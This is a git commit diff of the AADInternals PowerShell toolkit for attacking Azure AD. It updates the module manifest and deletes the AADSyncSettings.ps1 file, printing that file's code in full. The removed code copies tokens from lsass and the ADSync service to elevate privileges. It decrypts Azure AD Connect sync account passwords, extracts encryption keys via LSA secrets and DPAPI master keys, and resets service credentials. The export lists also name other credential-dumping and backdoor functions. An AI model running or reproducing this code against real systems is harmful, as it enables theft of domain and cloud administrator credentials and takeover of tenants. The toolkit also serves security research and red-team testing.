This commit is contained in:
unknown
2024-11-14 13:20:28 -06:00
parent 9c9ef69dfd
commit caf93cbbb3
48 changed files with 978 additions and 12920 deletions
BIN
View File
Binary file not shown.
+5 -81
View File
@@ -4,7 +4,7 @@
RootModule = 'AADInternals.psm1'
# Version number of this module.
ModuleVersion = '0.9.4'
ModuleVersion = '0.9.5'
# Supported PSEditions
# CompatiblePSEditions = @()
@@ -65,18 +65,14 @@ DISCLAIMER: Functionality provided through this module are not supported by Micr
# Modules to import as nested modules of the module specified in RootModule/ModuleToProcess
NestedModules = @(
".\AADSyncSettings.ps1"
".\AccessPackages.ps1"
".\AccessToken.ps1"
".\AccessToken_utils.ps1"
".\ActiveSync.ps1"
".\ActiveSync_utils.ps1"
".\ADFS.ps1"
".\ADFS_utils.ps1"
".\AD_utils.ps1"
".\AdminAPI.ps1"
".\AdminAPI_utils.ps1"
".\AMQP.ps1"
".\AzureADConnectAPI.ps1"
".\AzureADConnectAPI_utils.ps1"
".\AzureCoreManagement.ps1"
@@ -84,7 +80,6 @@ DISCLAIMER: Functionality provided through this module are not supported by Micr
".\AzureManagementAPI_utils.ps1"
".\B2C.ps1"
".\CBA.ps1"
".\ClientTools.ps1"
".\CloudShell.ps1"
".\CloudShell_utils.ps1"
".\CommonUtils.ps1"
@@ -92,9 +87,6 @@ DISCLAIMER: Functionality provided through this module are not supported by Micr
".\ComplianceAPI_utils.ps1"
".\DCaaS.ps1"
".\DCaaS_utils.ps1"
".\Device.ps1"
".\Device_utils.ps1"
".\DRS_Utils.ps1"
".\FederatedIdentityTools.ps1"
".\GraphAPI.ps1"
".\GraphAPI_utils.ps1"
@@ -105,7 +97,6 @@ DISCLAIMER: Functionality provided through this module are not supported by Micr
".\Kerberos_utils.ps1"
".\KillChain.ps1"
".\KillChain_utils.ps1"
".\md4.ps1"
".\MDM.ps1"
".\MDM_utils.ps1"
".\MFA.ps1"
@@ -123,14 +114,10 @@ DISCLAIMER: Functionality provided through this module are not supported by Micr
".\OneNote.ps1"
".\OutlookAPI.ps1"
".\OutlookAPI_utils.ps1"
".\ProcessTools.ps1"
".\ProvisioningAPI.ps1"
".\ProvisioningAPI_utils.ps1"
".\ProxySettings.ps1"
".\PRT.ps1"
".\PRT_Utils.ps1"
".\PSRP.ps1"
".\PSRP_utils.ps1"
".\PTA.ps1"
".\SARA.ps1"
".\SARA_utils.ps1"
@@ -138,32 +125,17 @@ DISCLAIMER: Functionality provided through this module are not supported by Micr
".\SPMT_utils.ps1"
".\SPO.ps1"
".\SPO_utils.ps1"
".\SQLite.ps1"
".\SyncAgent.ps1"
".\TBRES.ps1"
".\Teams.ps1"
".\Teams_utils.ps1"
".\WBAWeaponiser.ps1"
)
# Functions to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no functions to export.
FunctionsToExport = @(
# ADFS.ps1
"Export-ADFSCertificates"
"Export-ADFSConfiguration"
"Export-ADFSEncryptionKey"
"Set-ADFSConfiguration"
"Get-ADFSPolicyStoreRules"
"Set-ADFSPolicyStoreRules"
"Unprotect-ADFSRefreshToken"
"New-ADFSRefreshToken"
# ADFS_utils.ps1
"New-ADFSSelfSignedCertificates"
"Restore-ADFSAutoRollover"
"Update-ADFSFederationSettings"
"Get-ADFSConfiguration"
# AccessPackages.ps1
"Get-AccessPackageAdmins"
"Get-AccessPackageCatalogs"
@@ -193,9 +165,11 @@ DISCLAIMER: Functionality provided through this module are not supported by Micr
"Get-AccessTokenForOneNote"
"Get-AccessTokenForWHfB"
"Unprotect-EstsAuthPersistentCookie"
"Remove-UserFromEstsAuthPersistentCookie"
"Get-AccessTokenUsingIMDS"
"Get-AccessTokenForSPOMigrationTool"
"Get-AccessTokenForAccessPackages"
"Get-AppConsentInfo"
# AccessToken_utils.ps1
"Get-LoginInformation"
@@ -208,9 +182,6 @@ DISCLAIMER: Functionality provided through this module are not supported by Micr
"Get-Cache"
"Clear-Cache"
"Add-AccessTokenToCache"
"Export-TeamsTokens"
"Export-AzureCliTokens"
"Export-TokenBrokerTokens"
"Get-FOCIClientIDs"
# GraphAPI.ps1
@@ -225,6 +196,7 @@ DISCLAIMER: Functionality provided through this module are not supported by Micr
"Get-AzureADFeatures"
"Set-AzureADFeature"
"Add-SyncFabricServicePrincipal"
"Get-DynamicAbusableGroups"
# ProvisioningAPI.ps1
"Set-DomainAuthentication"
@@ -250,6 +222,7 @@ DISCLAIMER: Functionality provided through this module are not supported by Micr
"Get-ImmutableID"
"ConvertTo-Backdoor"
"Open-Office365Portal"
"Find-Backdoor"
# AzureADConnectAPI.ps1
"Get-SyncConfiguration"
@@ -298,21 +271,6 @@ DISCLAIMER: Functionality provided through this module are not supported by Micr
"Get-UnifiedAuditLogSettings"
"Set-UnifiedAuditLogSettings"
# AADSyncSettings.ps1
"Get-SyncCredentials"
"Update-SyncCredentials"
"Get-SyncEncryptionKeyInfo"
"Get-SyncEncryptionKey"
# PTASpy.ps1
"Install-PTASpy"
"Remove-PTASpy"
"Get-PTASpyLog"
# ClientTools.ps1
"Get-OfficeUpdateBranch"
"Set-OfficeUpdateBranch"
# SARA.ps1
"Get-SARAUserInfo"
"Get-SARATenantInfo"
@@ -338,7 +296,6 @@ DISCLAIMER: Functionality provided through this module are not supported by Micr
# PTA.ps1
"Register-PTAAgent"
"Set-PTACertificate"
# OneDrive_utils.ps1
"New-OneDriveSettings"
@@ -362,17 +319,8 @@ DISCLAIMER: Functionality provided through this module are not supported by Micr
# MSAppProxy.ps1
"Get-ProxyAgents"
"Get-ProxyAgentGroups"
"Export-ProxyAgentCertificates"
"Export-ProxyAgentBootstraps"
# AD_Utils.ps1
"Get-DPAPIKeys"
"Get-LSASecrets"
"Get-LSABackupKeys"
"Get-UserMasterkeys"
"Get-LocalUserCredentials"
"Get-SystemMasterkeys"
# AzureCoreManagement.ps1
"Get-AzureClassicAdministrators"
"Grant-AzureUserAccessAdminRole"
@@ -415,11 +363,7 @@ DISCLAIMER: Functionality provided through this module are not supported by Micr
"Invoke-UserEnumerationAsInsider"
"Invoke-Phishing"
# WBAWeaponiser.ps1
"New-InvitationVBA"
# PRT.ps1
"Get-UserPRTToken"
"Get-UserPRTKeys"
"New-UserPRTToken"
"Join-DeviceToAzureAD"
@@ -443,8 +387,6 @@ DISCLAIMER: Functionality provided through this module are not supported by Micr
# CommonUtils.ps1
"Get-Error"
"New-Certificate"
"Get-AzureWireServerAddress"
"Read-Configuration"
"Save-Configuration"
"Get-Configuration"
@@ -469,11 +411,6 @@ DISCLAIMER: Functionality provided through this module are not supported by Micr
# Teams_utils.ps1
"Get-TeamsUserSettings"
# DRS_Utils.ps1
"Get-ADUserNTHash"
"Get-ADUserThumbnailPhoto"
"Get-DesktopSSOAccountPassword"
# HybridHealthServices.ps1
"New-HybridHealthService"
"Get-HybridHealthServices"
@@ -487,7 +424,6 @@ DISCLAIMER: Functionality provided through this module are not supported by Micr
# HybridHealthServices_utils.ps1
"New-HybridHealtServiceEvent"
"Get-HybridHealthServiceAgentInfo"
# MSCommerce.ps1
"Get-SelfServicePurchaseProducts"
@@ -513,15 +449,6 @@ DISCLAIMER: Functionality provided through this module are not supported by Micr
"Get-TenantOrganisationInformation"
"Get-AccessTokenUsingAdminAPI"
# Device.ps1
"Export-LocalDeviceCertificate"
"Export-LocalDeviceTransportKey"
"Join-LocalDeviceToAzureAD"
"Get-LocalDeviceJoinInfo"
# ProxySettings.ps1
"Set-ProxySettings"
# OneNote.ps1
"Start-Speech"
@@ -531,9 +458,6 @@ DISCLAIMER: Functionality provided through this module are not supported by Micr
# DCaaS.ps1
"Get-UserNTHash"
"Install-ForceNTHash"
"Remove-ForceNTHash"
"Initialize-FullPasswordSync"
# B2C.ps1
"New-B2CRefreshToken"
-853
View File
@@ -1,853 +0,0 @@
# This module contains functions to extract and update AADConnect sync credentials
# Oct 29th 2019
function Check-Server
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$true)]
[bool]$force
)
process
{
# Always export as ADSync user
$AsADSync = $true
# Check that we are on AADConnect server and that the service is running
if($force -ne $true -and (($adSyncService = Get-Service ADSync -ErrorAction SilentlyContinue) -eq $null -or $adSyncService.Status -ne "Running"))
{
Write-Error "This command needs to be run on a computer with ADSync running!"
return $false
}
# Add the encryption reference (should always be there)
$ADSyncLocation = (Get-ItemProperty -Path "HKLM:SOFTWARE\Microsoft\AD Sync").Location
Add-Type -path "$ADSyncLocation\Bin\mcrypt.dll"
$ADSyncUser=""
$CurrentUser = "{0}\{1}" -f $env:USERDOMAIN,$env:USERNAME
# Check the version number: since 1.4.xx.xx uses DPAPI instead of registry to store the keyset
try
{
$serviceWMI = Get-WmiObject Win32_Service -Filter "Name='ADSync'" -ErrorAction SilentlyContinue
$ADSyncUser= $serviceWMI.StartName
$ver= ($serviceWMI.PathName.Split('"')[1] | Get-Item).VersionInfo.FileVersion
$ver2=$ver.split('.')
if($force -ne $true -and $ver2[0] -eq 1 -and $ver2[1] -ge 4 -and !$AsADSync)
{
Write-Warning "ADSync passwords can be read or modified as local administrator only for ADSync version 1.3.xx.xx!"
Write-Warning "The current version is $ver and access to passwords requires running as ADSync ($ADSyncUser)."
Write-Warning "Use the -AsADSync $true parameter to try again!"
return $false
}
}
catch
{
Write-Verbose "Could not get WMI info, probably already running as ADSync so skipping the ""elevation"""
$AsADSync = $false
}
# Elevate the current thread by copying the token from ADSync service
if($AsADSync)
{
# First we need to get connection once to the DB to get token.
# If done after "elevating" to ADSync, all SQL connections to configuration database will fail.
$SQLclient = new-object System.Data.SqlClient.SqlConnection -ArgumentList (Get-AADConfigDbConnection)
$SQLclient.Open()
$SQLclient.Close()
try
{
# Copy the tokens from lsass and miiserver (ADSync) processes
Write-Verbose "Trying to ""elevate"" by copying token from lsass and then miiserver (ADSync) processes"
$elevation = [AADInternals.Native]::copyLsassToken() -and [AADInternals.Native]::copyADSyncToken()
}
catch
{
$elevation = $false
}
if($elevation)
{
Write-Verbose """Elevation"" to ADSync succeeded!"
#Write-Warning "Running as ADSync ($ADSyncUser). You MUST restart PowerShell to restore $CurrentUser rights."
}
else
{
Write-Error "Could not change to $ADSyncUser. MUST be run as administrator!"
}
}
}
}
# May 15th 2019
function Get-SyncCredentials
{
<#
.SYNOPSIS
Gets Azure AD Connect synchronization credentials
.Description
Extracts Azure Active Directory Connect crecentials from WID configuration database. MUST be run on AADConnect server
as local administrator
.Example
Get-AADIntSyncCredentials
Name Value
---- -----
AADUser Sync_SRV01_4bc4a34e95fa@company.onmicrosoft.com
AADUserPassword $.1%(lxZ&/kNZz[r
ADDomain1 company.com
ADUser1 MSOL_4bc4a34e95fa
ADUserPassword1 Q9@p(poz{#:kF_G)(s/Iy@8c*9(t;...
ADDomain2 business.net
ADUser2 MSOL_4bc4a34e95fa
ADUserPassword2 cE/Pj+4/MR6hW)2L_4P=H^hiq)pZhMb...
.Example
PS C:\>$synccredentials = Get-AADIntSyncCredentials -AsCredentials
PS C:\>Get-AADIntAccessTokenForAADGraph -Credentials $synccredentials[0] -SaveToCache
Tenant User Resource Client
------ ---- -------- ------
a5427106-ed71-4185-9481-221e2ebdfc6c Sync_SRV01_4bc4a34e95fa@company.onmicrosoft.com https://graph.windows.net 1b730954-1685-4b74...
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$false)]
[bool]$AsBackgroundProcess=$true,
[Parameter(Mandatory=$false)]
[switch]$AsCredentials,
[Parameter(Mandatory=$false)]
[switch]$force
)
Process
{
# Check whether we are running in elevated session
Test-LocalAdministrator -Throw | Out-Null
# If started as a background process, start the background job script
if($AsBackgroundProcess)
{
# Check that we are on AADConnect server and that the service is running
if($force -ne $true -and (($adSyncService = Get-Service ADSync -ErrorAction SilentlyContinue) -eq $null -or $adSyncService.Status -ne "Running"))
{
Write-Error "This command needs to be run on a computer with ADSync running!"
return $false
}
Write-Verbose "Starting as a background process."
Try
{
$pinfo = New-Object System.Diagnostics.ProcessStartInfo
$pinfo.FileName = "powershell.exe"
$pinfo.RedirectStandardError = $true
$pinfo.RedirectStandardOutput = $true
$pinfo.UseShellExecute = $false
$pinfo.CreateNoWindow = $true
$pinfo.WorkingDirectory = $PSScriptRoot
$pinfo.Arguments = "-File AADSyncSettings_job.ps1"
$p = New-Object System.Diagnostics.Process
$p.StartInfo = $pinfo
$p.Start() | Out-Null
# Get the return value and convert from JSON string
$response = $p.StandardOutput.ReadToEnd()
Write-Verbose "Background process response: $response"
$retVal = $response | ConvertFrom-Json
$p.WaitForExit()
}
Catch
{
throw "Could not export credentials using background process."
}
}
else
{
# Do the checks
if((Check-Server -force $force) -eq $false)
{
return
}
# Read the encrypt/decrypt key settings
$SQLclient = new-object System.Data.SqlClient.SqlConnection -ArgumentList (Get-AADConfigDbConnection)
$SQLclient.Open()
$SQLcmd = $SQLclient.CreateCommand()
$SQLcmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
$SQLreader = $SQLcmd.ExecuteReader()
$SQLreader.Read() | Out-Null
$key_id = $SQLreader.GetInt32(0)
$instance_id = $SQLreader.GetGuid(1)
$entropy = $SQLreader.GetGuid(2)
$SQLreader.Close()
# Read the AD configuration data
$ADConfigs=@()
$SQLcmd = $SQLclient.CreateCommand()
$SQLcmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
$SQLreader = $SQLcmd.ExecuteReader()
while($SQLreader.Read())
{
$ADConfig = $SQLreader.GetString(0)
$ADCryptedConfig = $SQLreader.GetString(1)
$ADConfigs += New-Object -TypeName psobject -Property @{"ADConfig" = $ADConfig; "ADCryptedConfig" = $ADCryptedConfig}
}
$SQLreader.Close()
# Read the AAD configuration data
$SQLcmd = $SQLclient.CreateCommand()
$SQLcmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE subtype = 'Windows Azure Active Directory (Microsoft)'"
$SQLreader = $SQLcmd.ExecuteReader()
$SQLreader.Read() | Out-Null
$AADConfig = $SQLreader.GetString(0)
$AADCryptedConfig = $SQLreader.GetString(1)
$SQLreader.Close()
$SQLclient.Close()
# Extract the data
$attributes=[ordered]@{}
$attributes["AADUser"]=([xml]$AADConfig).MAConfig.'parameter-values'.parameter[0].'#text'
$attributes["AADUserPassword"]=""
try
{
# Decrypt config data
$KeyMgr = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager
$KeyMgr.LoadKeySet($entropy, $instance_id, $key_id)
#$key = $null
#$KeyMgr.GetActiveCredentialKey([ref]$key)
$key2 = $null
$KeyMgr.GetKey(1, [ref]$key2)
# Extract the encrypted data
$n=1
foreach($ADConfig in $ADConfigs)
{
$ADDecryptedConfig = $null
$key2.DecryptBase64ToString($ADConfig.ADCryptedConfig, [ref]$ADDecryptedConfig)
$attributes["ADDomain$n" ]=([xml]$ADConfig.ADConfig).'adma-configuration'.'forest-login-domain'
$attributes["ADUser$n" ]=([xml]$ADConfig.ADConfig).'adma-configuration'.'forest-login-user'
$attributes["ADUserPassword$n"]=([xml]$ADDecryptedConfig).'encrypted-attributes'.attribute.'#text'
$n++
}
$AADDecryptedConfig = $null
$key2.DecryptBase64ToString($AADCryptedConfig, [ref]$AADDecryptedConfig)
$attributes["AADUserPassword"]=([xml]$AADDecryptedConfig).'encrypted-attributes'.attribute | Where name -eq "Password" | Select -ExpandProperty "#text"
$retVal = [PSCustomObject]$attributes
}
catch
{
Write-Error "Could not load key set!"
}
}
# Create credentials objects if requested
if($AsCredentials)
{
$credentials = @()
# There is only one AAD credentials
$credentials += New-Object System.Management.Automation.PSCredential($retVal.AADUser, (ConvertTo-SecureString $retVal.AADUserPassword -AsPlainText -Force))
# Loop through the on-prem AD credentials. Shouldn't be more than 100 :)
for($n = 1 ; $n -lt 100 ; $n++)
{
if(![string]::IsNullOrEmpty($retVal."ADUser$n"))
{
$userName = "$($retVal."ADDomain$n")\$($retVal."ADUser$n")"
$credentials += New-Object System.Management.Automation.PSCredential($userName, (ConvertTo-SecureString $retVal."ADUserPassword$n" -AsPlainText -Force))
}
else
{
# No more on-prem AD credentials
break
}
}
return @($credentials)
}
else
{
return $retVal
}
}
}
# May 16th 2019
function Update-SyncCredentials
{
<#
.SYNOPSIS
Updates Azure AD Connect synchronization credentials
.Description
Updates Azure Active Directory Connect user's password to Azure AD and WID configuration database. MUST be run on AADConnect server
as local administrator with Global Admin credentials to Azure AD
.Example
Update-AADIntSyncCredentials
Password successfully updated to Azure AD and configuration database!
Remember to restart the sync service: Restart-Service ADSync
Name Value
---- -----
ADDomain company.com
ADUser MSOL_4bc4a34e95fa
ADUserPassword Q9@p(poz{#:kF_G)(s/Iy@8c*9(t;...
AADUser Sync_SRV01_4bc4a34e95fa@company.onmicrosoft.com
AADUserPassword $.1%(lxZ&/kNZz[r
.Example
Update-AADIntSyncCredentials -RestartADSyncService
Password successfully updated to Azure AD and configuration database!
Name Value
---- -----
ADDomain company.com
ADUser MSOL_4bc4a34e95fa
ADUserPassword Q9@p(poz{#:kF_G)(s/Iy@8c*9(t;...
AADUser Sync_SRV01_4bc4a34e95fa@company.onmicrosoft.com
AADUserPassword $.1%(lxZ&/kNZz[r
WARNING: Waiting for service 'Microsoft Azure AD Sync (ADSync)' to stop...
WARNING: Waiting for service 'Microsoft Azure AD Sync (ADSync)' to start...
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Switch]$RestartADSyncService,
[Parameter(Mandatory=$false)]
[switch]$force
)
Process
{
# Do the checks
if((Check-Server -force $force) -eq $false)
{
return
}
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
if([String]::IsNullOrEmpty($AccessToken))
{
Write-Error "No AccessToken provided!"
return
}
# Admin user
$AdminUser = (Read-Accesstoken -AccessToken $at).upn
# Get the current configuration
$SyncCreds = Get-SyncCredentials -force
$SyncUser = ($SyncCreds.AADUser.Split("@")[0])
Write-Verbose "Updating password for $SyncUser as $AdminUser"
# Reset the account password in AzureAD
$NewPassword = (Reset-ServiceAccount -AccessToken $AccessToken -ServiceAccount $SyncUser).Password
# Escaping password for xml
$NewPassword = [System.Security.SecurityElement]::Escape($NewPassword)
if([String]::IsNullOrEmpty($NewPassword))
{
Write-Error "Password for user $SyncCreds could not be reset to Azure AD"
return
}
# Create a new config
$ADDecryptedConfig=@"
<encrypted-attributes>
<attribute name="Password">$NewPassword</attribute>
</encrypted-attributes>
"@
# Read the encrypt/decrypt key settings
$SQLclient = new-object System.Data.SqlClient.SqlConnection -ArgumentList (Get-AADConfigDbConnection)
$SQLclient.Open()
$SQLcmd = $SQLclient.CreateCommand()
$SQLcmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
$SQLreader = $SQLcmd.ExecuteReader()
$SQLreader.Read() | Out-Null
$key_id = $SQLreader.GetInt32(0)
$instance_id = $SQLreader.GetGuid(1)
$entropy = $SQLreader.GetGuid(2)
$SQLreader.Close()
# Load keys
$KeyMgr = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager
$KeyMgr.LoadKeySet($entropy, $instance_id, $key_id)
$key = $null
$KeyMgr.GetActiveCredentialKey([ref]$key)
$key2 = $null
$KeyMgr.GetKey(1, [ref]$key2)
# Encrypt
$AADCryptedConfig = $null
$key2.EncryptStringToBase64($ADDecryptedConfig,[ref]$AADCryptedConfig)
# Write the updated AAD password
$SQLcmd = $SQLclient.CreateCommand()
$SQLcmd.CommandText = "UPDATE mms_management_agent SET encrypted_configuration=@pwd WHERE subtype = 'Windows Azure Active Directory (Microsoft)'"
$SQLcmd.Parameters.AddWithValue("@pwd",$AADCryptedConfig) | Out-Null
$UpdatedRows = $SQLcmd.ExecuteNonQuery()
$SQLclient.Close()
if($UpdatedRows -ne 1)
{
Write-Error "Updated $UpdatedRows while should update 1. Could be error"
return
}
Write-Host "Password successfully updated to Azure AD and configuration database!"
# Return
Get-SyncCredentials -force
# Restart the ADSync service if requested
if($RestartADSyncService)
{
Restart-Service ADSync
}
else
{
Write-Host "Remember to restart the sync service: Restart-Service ADSync" -ForegroundColor Yellow
}
}
}
# May 17th 2019
function Set-ADSyncAccountPassword
{
<#
.SYNOPSIS
Sets the password of ADSync service account
.Description
Sets the password of ADSync service account to AD and WID configuration database. MUST be run on AADConnect server
as domain administrator.
.Example
Set-AADIntADSyncAccountPassword -NewPassword 'Pa$$w0rd'
Password successfully updated to AD and configuration database!
Remember to restart the sync service: Restart-Service ADSync
Name Value
---- -----
ADDomain company.com
ADUser MSOL_4bc4a34e95fa
ADUserPassword Pa$$w0rd
AADUser Sync_SRV01_4bc4a34e95fa@company.onmicrosoft.com
AADUserPassword $.1%(lxZ&/kNZz[r
.Example
Set-AADIntADSyncAccountPassword -NewPassword 'Pa$$w0rd' -RestartADSyncService
Password successfully updated to AD and configuration database!
Name Value
---- -----
ADDomain company.com
ADUser MSOL_4bc4a34e95fa
ADUserPassword Pa$$w0rd
AADUser Sync_SRV01_4bc4a34e95fa@company.onmicrosoft.com
AADUserPassword $.1%(lxZ&/kNZz[r
WARNING: Waiting for service 'Microsoft Azure AD Sync (ADSync)' to stop...
WARNING: Waiting for service 'Microsoft Azure AD Sync (ADSync)' to start...
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$NewPassword,
[Switch]$RestartADSyncService,
[Parameter(Mandatory=$false)]
[switch]$force
)
Process
{
# Do the checks
if((Check-Server -force $force) -eq $false)
{
return
}
# Add the encryption dll reference
Add-Type -path "$(Get-ItemPropertyValue "HKLM:\SOFTWARE\Microsoft\AD Sync" -Name "Location")\Bin\mcrypt.dll"
# Get the current configuration
$SyncCreds = Get-SyncCredentials -force
$SyncUser = $SyncCreds.ADUser
Write-Verbose "Updating password for $SyncUser"
# Reset the account password in AD
try
{
Set-ADAccountPassword -Identity $SyncUser -Reset -NewPassword (ConvertTo-SecureString -AsPlainText $NewPassword -Force)
}
catch
{
# There might be complexity etc. requirements
throw $_
return
}
# Escaping password for xml
$NewPassword = [System.Security.SecurityElement]::Escape($NewPassword)
# Create a new config
$ADDecryptedConfig=@"
<encrypted-attributes>
<attribute name="Password">$NewPassword</attribute>
</encrypted-attributes>
"@
# Read the encrypt/decrypt key settings
$SQLclient = new-object System.Data.SqlClient.SqlConnection -ArgumentList (Get-AADConfigDbConnection)
$SQLclient.Open()
$SQLcmd = $SQLclient.CreateCommand()
$SQLcmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
$SQLreader = $SQLcmd.ExecuteReader()
$SQLreader.Read() | Out-Null
$key_id = $SQLreader.GetInt32(0)
$instance_id = $SQLreader.GetGuid(1)
$entropy = $SQLreader.GetGuid(2)
$SQLreader.Close()
# Load keys
$KeyMgr = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager
$KeyMgr.LoadKeySet($entropy, $instance_id, $key_id)
$key = $null
$KeyMgr.GetActiveCredentialKey([ref]$key)
$key2 = $null
$KeyMgr.GetKey(1, [ref]$key2)
# Encrypt
$ADCryptedConfig = $null
$key2.EncryptStringToBase64($ADDecryptedConfig,[ref]$ADCryptedConfig)
# Write the updated AA password
$SQLcmd = $SQLclient.CreateCommand()
$SQLcmd.CommandText = "UPDATE mms_management_agent SET encrypted_configuration=@pwd WHERE ma_type = 'AD'"
$SQLcmd.Parameters.AddWithValue("@pwd",$ADCryptedConfig) | Out-Null
$UpdatedRows = $SQLcmd.ExecuteNonQuery()
$SQLclient.Close()
if($UpdatedRows -ne 1)
{
Write-Error "Updated $UpdatedRows while should update 1. Could be error"
return
}
Write-Host "Password successfully updated to AD and configuration database!"
# Return
Get-SyncCredentials -force
# Restart the ADSync service if requested
if($RestartADSyncService)
{
Restart-Service ADSync
}
else
{
Write-Host "Remember to restart the sync service: Restart-Service ADSync" -ForegroundColor Yellow
}
}
}
# Decrypts AD and AAD passwords with the given key and IV
# May 3rd 2020
function Get-DecryptedConfigPassword
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$true)]
[byte[]]$Data,
[Parameter(Mandatory=$true)]
[byte[]]$Key,
[Parameter(Mandatory=$true)]
[byte[]]$InitialVector
)
Process
{
# Create the AES decryptor
$aes=New-Object -TypeName System.Security.Cryptography.AesCryptoServiceProvider
$aes.Mode = "CBC"
$aes.Key = $Key
$aes.IV = $iv.ToByteArray()
$dc=$aes.CreateDecryptor()
# Decrypt the data
$decData = $dc.TransformFinalBlock($Data,0,$Data.Length)
# Convert to xml and get the password
[xml]$decDataXml = ([text.encoding]::Unicode.GetString($decData)).trimEnd(@(0x00,0x0a,0x0d))
$decPassword = $decDataXml.'encrypted-attributes'.attribute.'#text'
Write-Verbose "DecryptedConfigPassword: $($decDataXml.OuterXml)"
# Return
return $decPassword
}
}
# Encrypts AD or AAD password with the given key and IV
# May 3rd 2020
function New-EncryptedConfigPassword
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$true)]
[string]$Password,
[Parameter(Mandatory=$true)]
[byte[]]$Key,
[Parameter(Mandatory=$true)]
[byte[]]$InitialVector
)
Process
{
# Escaping password for xml
$NewPassword = [System.Security.SecurityElement]::Escape($Password)
# Create the AES encryptor
$aes=New-Object -TypeName System.Security.Cryptography.AesCryptoServiceProvider
$aes.Mode = "CBC"
$aes.Key = $Key
$aes.IV = $initialVector
$en=$aes.CreateEncryptor()
# Encrypt the data
$data = "<encrypted-attributes><attribute name=""password"">$NewPassword</attribute></encrypted-attributes>"
$binData = [text.encoding]::Unicode.GetBytes($data)
$encData = $en.TransformFinalBlock($binData,0,$binData.Length)
Write-Verbose "EncryptedConfigPassword: $(Convert-ByteArrayToHex -Bytes $encData)"
# Return
return $encData
}
}
# Retrieves ADSync encryption key used to encrypt and decrypt configuration data
# May 3rd 2020
function Get-SyncEncryptionKey
{
<#
.SYNOPSIS
Gets ADSync encryption key using the given entropy and instance id
.DESCRIPTION
Gets the ADSync encryption key used to encrypt and decrypt passwords for service users of Azure AD and local AD
.Example
Get-AADIntSyncEncryptionKey -Entropy a1c80460-6fe9-4c6f-bf31-d7a34c878dca -InstanceId 299b1d83-9dc6-479a-92f1-2357fc5abfed
Id Guid CryptAlg Key
-- ---- -------- ---
100000 299b1d83-9dc6-479a-92f1-2357fc5abfed 26128 {4, 220, 54, 13...}
.Example
$key_info = Get-AADIntSyncEncryptionKeyInfo
PS C:\>Get-AADIntSyncEncryptionKey -Entropy $key_info.Entropy -InstanceId $key_info.InstanceId
Id Guid CryptAlg Key
-- ---- -------- ---
100000 299b1d83-9dc6-479a-92f1-2357fc5abfed 26128 {4, 220, 54, 13...}
#>
[CmdletBinding()]
param(
[Parameter(Mandatory=$true)]
[guid]$Entropy,
[Parameter(Mandatory=$false)]
[guid]$InstanceId,
[Parameter(Mandatory=$false)]
[int]$KeySetId = 1
)
# Define the return variable
$retVal = $null
# Get the stored password for the ADSync service
$ServiceSecret=Get-LSASecrets -Service "ADSync"
Write-Verbose "UserName: $($ServiceSecret.Account)"
Write-Verbose "Password: $($ServiceSecret.PasswordTxt)`n`n"
# As we now know the password of the user, we can get user masterkeys without system masterkey
# Get user's masterkeys and decode them with password
$masterKeys = Get-UserMasterkeys -Credentials $ServiceSecret.Credentials
# Get user's credentials with the masterkeys
$credentials = Get-LocalUserCredentials -UserName $ServiceSecret.Credentials.UserName -MasterKeys $masterKeys
$targetCred = $null
# If instance id not provided, just get the first one
if($InstanceId -eq $null)
{
$targetCred = $credentials[0]
}
else
{
# Try to find the correct credential entry
foreach($cred in $credentials)
{
# Check the target, we are looking for:
$targetKeySet = "LegacyGeneric:target=Microsoft_AzureADConnect_KeySet_{$($instanceid.ToString().ToUpper())}_$([System.BitConverter]::GetBytes([uint64]$KeySetId)[0..5] -join '')"
if($cred.Target -eq $targetKeySet)
{
$targetCred = $cred
break
}
}
}
try
{
# The keyset is actually a DPAPIBlob, so decrypt it using a native DPAPI method in LOCAL MACHINE context
$keySet = [Security.Cryptography.ProtectedData]::Unprotect($targetCred.Secret,$entropy.toByteArray(),'LocalMachine')
Write-Verbose "KeySet: $(Convert-ByteArrayToHex -Bytes $keySet)"
# Parse the keyset
$key = Parse-KeySetBlob -Data $keySet
}
catch{} # Okay
return $key
}
# Parses the MMSK key set blob
# May 3rd 2020
function Parse-KeySetBlob
{
[CmdletBinding()]
Param(
[Parameter(Mandatory=$true)]
[byte[]]$Data
)
Process
{
# Parse the KeySet
$p=4 # Skip the MMSK string at the beginning
$version = [System.BitConverter]::ToInt32($Data,$p);$p+=4
$id = [System.BitConverter]::ToInt32($Data[($p+3)..($p)]);$p+=4
$guid = [guid][byte[]]$Data[$p..$($p+15)]; $p+=16
$unk0 = [System.BitConverter]::ToInt32($Data,$p);$p+=4
$unk1 = [System.BitConverter]::ToInt32($Data,$p);$p+=4
$unk2 = [System.BitConverter]::ToInt32($Data,$p);$p+=4
$unk3 = [System.BitConverter]::ToInt32($Data,$p);$p+=4
$unk4 = [System.BitConverter]::ToInt32($Data,$p);$p+=4
$keyBlockSize = [System.BitConverter]::ToInt32($Data,$p);$p+=4
$secondKeySize = [System.BitConverter]::ToInt32($Data,$p);$p+=4
$unk7 = [System.BitConverter]::ToInt32($Data,$p);$p+=4
$unk8 = [System.BitConverter]::ToInt32($Data,$p);$p+=4
$unk9 = [System.BitConverter]::ToInt32($Data,$p);$p+=4
$unk10 = [System.BitConverter]::ToInt32($Data,$p);$p+=4
$unk11 = [System.BitConverter]::ToInt32($Data,$p);$p+=4
$unk12 = [System.BitConverter]::ToInt32($Data,$p);$p+=4
$enAlg = [System.BitConverter]::ToInt32($Data,$p);$p+=4
